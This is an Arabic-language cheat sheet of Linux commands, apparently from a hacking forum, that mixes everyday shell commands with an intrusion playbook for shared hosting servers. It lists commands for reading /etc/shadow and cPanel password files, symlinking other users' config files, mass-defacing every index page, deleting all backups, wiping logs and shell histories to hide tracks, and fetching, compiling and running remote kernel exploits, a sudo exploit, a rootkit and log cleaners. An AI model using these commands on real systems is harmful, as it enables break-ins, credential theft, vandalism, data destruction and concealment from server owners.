اوامر كالي لينكس

cat /etc/passwd | cut -d ":" -f1  
1- أمر إظهار يوزرات المواقع :  
ls -la /etc/valiases  
او  
cat /etc/passwd  
او  
ls /var/mail  
او  
cat /etc/shadow  
او  
cat /etc/domainalias  
ln -s / etc/passwd w  
يسحب لك الملف بملف أسمه w  
rm angel.php <------لحذف ملف  
rm -r angel<------ لحذف مجلد  
find angel.php <------لعمل بحث عن ملف  
find \*.php <------لعمل بحث عن جميع الملفات بهذا الامتداد  
-----------------------------------------  
أمر التأكد من صلاحية سحب الملفات علي السيرفر  
which xxxx <------ بدل العلامات بأمر السحب  
xxxx = أمر السحب  
اومر السحب  
wget  
curl -o  
get  
lynx -source  
------------------------------------  
هذا االامر الي معي حلو يخليك ما تمشور مشوار .... هذا يطلعلك الملفات الي داخل مجلد boot  
تقدر تغيير مجلد boot الى  
----------------------------------------------  
كود:  
cd /boot;ls -al  
etc << لفحص بعض الملفات ومنها قد تجد ثغرة confixx  
usr << لمعرفة برامج السيرفر  
opt < بعض السيرفرات تلقاه بالمجلد الرئيسي بعضها لا  
--------------------------------------------  
last -20 -a : عرض آخر 20 اسم تم تسجيل دخولهم  
ps -ax : عرض الـ Processess  
lsmod : الـ modules الموجوده في الكيرنال  
uname -a : لعرض معلومات الكرنال  
اوامر بسيطه  
mv : تغيير الإسم  
cp : نسخ ملف  
cp -R : نسخ مجلد  
ln : إنشاء رابط ( link ) لملف  
gerp : البحث داخل ملف  
-----------------------------------  
لو اردت معرفة هل البورت مفتوح11457 راح اطبق التالي :  
netstat -an|grep 11457  
---------------------------------------------  
امر للتاكد من وجود ملف  
كود:  
ls file  
حلو بدل ما تكتب ls ويطلع لك ملفات وتخش عيونك على بعض  
ويمكن تستخدمه للتاكد من وجوده ومعرفه التصريح  
كود:  
ls -al file  
------------------------------------------------  
أوامر إحترافيه :  
1- إظهار اليوزرات بشكل مرتب :  
awk -F: '{ print $1 }' / etc/passwd | sort  
2- معرفة البرامج المستخدمه من قبل اليوزر والرووت ( من ضمنها اسم برنامج الاف تي بي )  
ps -o "%u : %U : %p : %a"  
3- معلومات كامله واحترافيه عن ال processess مع تحديد اليوزر المستخدم للبروسيس  
ps -eo pid,tt,user,fname,tmout,f,wchan  
4- ال processess ليوزر معين ؟ ( استبدل user فقط في هذا الأمر )  
ps -U user -u user -N  
5- اليوزرز المتصلين الآن  
users  
6- عرض آخر اليوزرز اللي دخلو :  
last  
7- لجلب معلومات عن مستخدم معين ( استبدل user في هذا الأمر )  
finger user  
8- امر معرفة اسماء اليوزرز المتصلين بالسيرفر .. وافعالهم  
w  
9- عرض البورتات المفتوحه  
netstat -lnp --ip  
-------------------------------------------  
touch angel.php ينشئ لك ملف ضمن المجلد  
++g : كومبيلر لل C++ و C  
gcc : كومبيلر لل C++ و C  
grep : يستخدم للبحث عن شئ داخل ملف  
gzip : لضغط ملفات  
gunzip : لضغط ملفات  
وال un لفك الضغط بالاستعانه مع الاوامر اللي فوق مثال : ungzip unzip  
haltsys : لاغلاق النظام  
cat : لعرض محتوى اكثر من ملف مع بعض  
cd : لتغير الدليل الذي انت عليه  
chmod : لتغير تصريح دخلول ملف معين  
chown : لتغير مالك ملف معين  
clear : لمسح كل الذي على الشاشة  
cmp : لمقارنة ملفين  
cp : لنسخ الملفات  
crypt : لتشفير و فك تشفير الملفات  
csplit : لتقسيم الملف الى عدة ملفات  
cu : لطلب تريمنال يونكس اخر  
whoami يقول لك من انت (يعني من انا ) يقول لك root او مستخدم xxx  
rm : لمسح ملفات او مجلدات ( خاليه )  
rmdir : لمسح مجلد ( خالي )  
وفي حال كنت بالترمنال اضغط على زر التاب Tap يعرض لك كل اوامر اللينكس  
ومثلاً اي امر تحب تعرف شو هووا فقط اكتب الأمر وبعدها هيلب :  
مثال rm --help  
--------------------------------------------------  
أوامر رائعه :  
لمعرفة جميع ملفات اسم مستخدم معين ( استبدل john )  
find /home -user john  
لمعرفة الملفات اللتي تم تعديلها في خلال الـ 24 ساعه ( أمر مهم )  
find $HOME -mtime 0  
لمعرفة المساحه المستخدمه  
df -h  
لمعرفة المساحه المتبقيه  
du  
-----------------------------------------  
وهذي مجموعة من الأوامر البسيطة  
ls -m  
يظهر الملفات مع تفريقهم بفواصل بدلا من تفريقهم بخانات  
ls -t  
يظهر الملفات حسب تواريخ إنشائها يعني من الجديد إلى القديم  
ls -lu  
يظهر الملفات حسب آخر تاريخ زيارة لهذه الملفات (مع تبيين هذا التاريخ)  
ls -F  
يظهر الملفات بأنواعها حيث :  
الملفات المسبوقة ب / عبارة عن مجلدات  
الملفات المسبوقة ب \* عبارة عن ملفات تنفيذية  
الملفات المسبوقة ب @ عبارة عن روابط  
ls -S  
يظهر الملفات تسلسليا من الأكبر إلى الأصغر  
ls -X  
يظهر الملفات ويرتبها حسب امتدادها  
ls -r  
يظهر الملفات مرتبة بالمقلوب (يعني من z ثم y ثم x ....)  
cp  
لنسخ ملف أو مجلد  
mkdir  
لإنشاء مجلد  
mv  
لتحويل ملف من مجلد إلى مجلد أو إعادة تسميته  
(مثلا  
mv angel gnom  
راح يعيد تسميت المجلد angel إلى gnom  
أو  
mv angel.php /ho me/hackteach/publi c\_htm l/cc/test  
راح يحول الملف angel.php من المجلد إلي هو فيه إلى المجلد الجديد test)  
---------------------------------------  
ln -sf / home / user / public\_html / vb / in clude s / c onfig . php conf.txt  
راح يجيب لك نسخـة من ملف الكونفق تبع اليوزر المحدد في الملف الجديد conf.txt  
بالعربي ,, الأمر هذا هو حق السم لينك ,, symLink  
---------------------------------------  
أمر لمعرفة اليوزر اللي مستهلك أكبر مساحه :  
du -s / home | sort -rn  
( بدون مسافه بعد / و home )  
-----------------------------------  
النسخ واللصق بهالطريقة  
c p /ho me/hi.t xt /ho me/jack  
أو العكس  
----------------------------  
لعمل ماس ديفاس بعد اخذ الروت  
كود PHP:  
find / -name "index.\*" -exec cp /t mp/index.htm  
----------------------------------------------  
أمر إظهار باسوردات السي بانل ( في حالة كنت روت ) :  
في أوامر كثيره .. بعضها :  
find / -name service.pwd  
او  
cat / home/\*/public\_html/\_vti\_pvt/service.pwd  
و  
cat / var/cpanel/accounting.log  
( لاتنسى تحذف المسافات قبل var و home )  
--------------------------------------------  
1- حذف ملفات اللوقو  
rm -rf / tmp/logs  
rm -rf $HISTFILE  
rm -rf / root/.ksh\_history  
rm -rf / root/.bash\_history  
rm -rf / root/.ksh\_history  
rm -rf / root/.bash\_logout  
rm -rf / usr/local/apache/logs  
rm -rf / usr/local/apache/log  
rm -rf / var/apache/logs  
rm -rf / var/apache/log  
rm -rf / var/run/utmp  
rm -rf / var/logs  
rm -rf / var/log  
rm -rf / var/adm  
rm -rf / etc/wtmp  
rm -rf / etc/utmp  
find / -name \*.bash\_history -exec rm -rf {} \;  
find / -name \*.bash\_logout -exec rm -rf {} \;  
find / -name "log\*" -exec rm -rf {} \;  
find / -name \*.log -exec rm -rf {} \;  
-------------------------------------------------  
2- أمر تعديل ملفات اللوقو ( إخفائها .. آمن )  
cat / dev/null > / var/log/kdebug  
cat / dev/null > / var/log/kernel  
cat / dev/null > / var/log/maillog  
cat / dev/null > / var/log/messages  
cat / dev/null > / var/log/secure  
cat / dev/null > / var/log/svclog  
cat / dev/null > / var/log/tcdebuglog  
cat / dev/null > / var/log/tclient  
cat / dev/null > / var/log/tivoLog.prv  
cat / dev/null > / var/log/tivoLog.pub  
cat / dev/null > / var/log/tivoweb.log  
cat / dev/null > / var/log/tvdebuglog  
cat / dev/null > / var/log/tverr  
cat / dev/null > / var/log/tvlog  
3- أمر قرائة ملف الكونفيج على السيرفر  
cat / usr/local/apache/conf/httpd.conf  
4- أمر عرض الملفات Suid ( ملفات من قبل الروت لكن يستطيع اليوزر تشغيلها )  
find / -type f -perm -04000 -ls  
-------------------------------------------------  
5- أمر عرض الملفات Sgid ( ملفات من قبل الروت لكن تستطيع المجموعه تشغيلها )  
find / -type f -perm -02000 -ls  
6- أوامر عرض المجلدات المصرح لها تصريح 777  
find / -perm -2 -ls  
find / -type d -perm 0777 | xargs ls -alld  
find / -type d -pem -2 -ls  
7- أمر حذف جميع الباك آب الموجوده على السيرفر  
find / -name "cpbackup\*" -exec rm {} ;  
find / -name "backup\*" -exec rm {} ;  
8- أمر إستبدال جميع الإندكسات إلى الإندكس الموجود على المسار الحالي  
find / -name "index.\*" -exec cp index.htm {} ;  
find / -name "default.\*" -exec cp index.htm {} ;  
9- أمر تعديل صلاحيات الإندكسات إلى nobody ( لكي لا يشك اليوزر )  
find / -name "index.\*" -exec chown 99 index.html {} ;  
find / -name "default.\*" -exec chown 99 index.html {} ;  
10- أمر عرض System log  
cat / etc/syslog.conf  
11- أمر عرض معلومات عن الذاكره  
cat / proc/meminfo  
12- أمر تعديل دوال php والسيف مود وغيرها  
pico / usr/local/lib/php.ini  
13- أمر عرض البورتات المفتوحه  
netstat -atup | grep IST  
14- أمر عرض آخر إتصال  
lastlog  
15- أمر عرض اليوزرات المتصله  
w  
--------------------------------------------------  
16- أمر لمعرفة إصدار الكيرنال  
dpkg --list | grep linux-image  
rpm -q kernel : kernel-2.6.18-53.1.4.el5  
uname -s : SunOS  
uname -r : 2.6.22-14-EL5  
uname -mrsn : Linux [s.server.com](http://l.facebook.com/l.php?u=http%3A%2F%2Fs.server.com%2F&h=LAQEN4D65&enc=AZMQqsbyqfb5GFaKN5jycT_fR1vyThKK6MBLucD_XwJi3ucJAdGsDacDEeMb7uegIQk7f6Pa6kaqvRJj206fjmaQXlmYEiQuU52dOhZAAAfcBrcsHxi9RXXCvhWawPfn0jVEpCbRvj40t3o8advroKEe&s=1) 2.6.18-53.1.4.el5 x86\_64  
cat / proc/version : Linux version 2.6.18-53.1.4.el5 (b@redhat.com) (gcc version 4.1.2 20070626 (Red Hat 4.1.2-14)) #1 SMP Wed Nov 14 1027 EST 2007  
17- أمر إيقاف process معين عن العمل  
kill -9 PID  
kill PID  
مع إستبدال PID لرقم البروسيس .. تستطيع معرفته عن طريق الأمر  
ps ux  
ps aux  
top  
18- أمر عرض الأوامر ( او بالأصح الملفات التنفيذيه ) اللتي عليها Suid ( يستطيع اليوزر تشغيلها )  
find / bin / usr/bin / usr/local/bin / sbin / usr/sbin / usr/local/sbin -perm -4000 2> / dev/null  
19- أمر عرض اليوزرات اللتي لا تحتوي على باسورد  
cut -d: -f1,2,3 / etc/passwd | grep  
---------------------------------------------------------------  
20- أمر عرض الملفات اللتي تريد الكتابه عليها في مجلد etc  
find / etc/ -type f -perm -o+w 2> / dev/null  
21- أمر عرض أوامر السحب المفعله كـ wget  
which wget curl w3m lynx  
22- أمر عرض معلومات عن المعالج CPUINFO  
cat / proc/version / proc/cpuinfo  
23- أمر عرض مساحات الهاردسك  
du  
( ملاحظه : تستطيع إستخدامه مع option اخرى .. لاحظ الأوامر التاليه )  
du -s / home/user | sort -rn  
df -Th  
24- أمر التأكد من وجود المترجم gcc  
locate gcc  
25- أمر إستخدام Wipelogs ( للتعديل على الوقو .. أمن )  
wget No Results Found Packet Storm | gcc zap2.c -o zap2 | ./zap2  
26- أمر تنفيذ بعض الهجمات على الكيرنال  
wget [http://ftp.powernet.com.tr/supermail/debug/k3](http://l.facebook.com/l.php?u=http%3A%2F%2Fftp.powernet.com.tr%2Fsupermail%2Fdebug%2Fk3&h=KAQGi3Nyh&enc=AZMWs5mhfUCm9lvZQPrPFSFMWBIuSVc8WxjYw9ST_rj-8tQ7yfwu3YMWI-ocIhZEFUXFfPTNbo7w5JmDtXiFcXvaNISkdravfqyJ58FpbbLUUunG7Uck4yCBWfmF7d1pYS6hohw0LytjXgObUd6AnFkS&s=1)| ./k3 1 | ./k3 2 | ./k3 3 | ./k3 4 | ./k3 5  
27- إستخدام ثغرة stack overflow عن طريق sudo  
wget [http://precision-gaming.com/sudo.c](http://l.facebook.com/l.php?u=http%3A%2F%2Fprecision-gaming.com%2Fsudo.c&h=yAQF_Vf7l&enc=AZPdbQKhtIS9o1rV-3Eyto1TGyJ3PDTkvuZwjmXo66nxZ5qKP1sudXIH2CjFtZ7IHm6WRXbA8eh-wo5fAEmOk6yBhOn0HMqAev3OWfnZHtSFxoVt0BurfpwcFjPVcqqXxgSlcZydz_T27XY7GDw3LVL9&s=1) | gcc sudo.c -o sudosploit | ./sudosploit  
28- أمر تثبيت روت كت لإصدار 2.6  
wget [twofaced.org](http://l.facebook.com/l.php?u=http%3A%2F%2Ftwofaced.org%2F&h=eAQFyeAqK&enc=AZMlX9Ay_GSMzR-tnWcPWpZ57SjpZzfbrYLr049aQk3TOLdKs1rkMSoG6AYFKpDFF2W4dl6QBLuwAHRDjAhIaaGF8sCCejVIrCX7qWpS_a2KV97iaQLhdNBBiQ7lHJj_GqkES67E7mZi1bltfsWWf-B6&s=1) | gcc linux2-6-all.c -o linuxkernel | ./linuxkernel  
29- أمر استخدام سكربت Mig LogCleaner  
wget [twofaced.org](http://l.facebook.com/l.php?u=http%3A%2F%2Ftwofaced.org%2F&h=LAQEN4D65&enc=AZML6d02BxkAsIwfZHynyaZzlX0VbOk-1Juw9l7dHO5IzOqJcKYzY_iyYQUWe1hyJTfemJLZdFH30aVvgEvU8GCJTLtySB5nkP4WfwR89JxICHXtQM6HsVvieP5WyUjcuNrjqphb6twDUSexN1nfVjym&s=1) | gcc -DLINUX -WALL mig-logcleaner.c -o migl | ./migl -u root 0  
30- أمر لمعرفة الملفات والمجلدات اللتي تم تعديلها في خلال X يوم  
find / -mtime x  
( ملاحظه : استبدل time إلى min للبحث في الدقائق .. ليصلح mmin )  
31- أمر لمعرفة الملفات والمجلدات اللتي تم تعديل خصائصها ( كـ الملكيه ) في خلال X يوم  
find / -ctime x  
32- للبحث عن الملفات اللتي مالكها root لكن يستطيع اليوزر تنفيذها  
find / -perm +4000 -user root  
33- للبحث عن الملفات اللتي مالكها root لكن يستطيع اليوزر الكتابه عليها  
find / -perm +002 -user root  
34- للبحث عن الملفات اللتي ليس لديها مالك  
find / -nouser  
35- للبحث عن الملفات اللتي مالكها هو اليوزر root  
find / -user root  
36- من الأوامر التفصيليه لـ find  
find / -name "\*.txt" -size +10k -user root -not -perm +o=r -exec chmod o+r {} \;  
شرح الأمر :  
ابحث في جميع المجلدات .. عن اي ملف نصي امتداده txt  
وحجمه أكثر من 10 كيلو بايت .. وصاحبه اليوزر root  
وغير قابله للقراءه من اي يوزر اخر ماعدا مالكها الأصلي  
يستطيع صاحبها قرائتها وويستطيع تنفيذها ( execution ) ( ورمزه -r-xr--r-- )  
----------------------------------------  
37- وتستطيع إستخدام أمر find بشكل آخر .. مثل : find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \; شرح الأمر : عرض جميع الملفات فقط .. اللتي لديها خاصيتي SetUID و SetGID بشكل مفصل  
[http://ftp.powernet.com.tr/supermail/debug/k3](http://l.facebook.com/l.php?u=http%3A%2F%2Fftp.powernet.com.tr%2Fsupermail%2Fdebug%2Fk3&h=yAQF_Vf7l&enc=AZPYfYrRfFRNKCnnn8sQQe4HwjbGWWIyVVdFyTS4jWkxWOyPUVxMVlhz8KonxXLQAaa5MWRe4cFekmv-uh1WHJhV1a5A_t2M2KM6uKwyFIOhyASVoryXYd0S74GWqRegPsM7XABHnH4lTQ50hmtokYZz&s=1)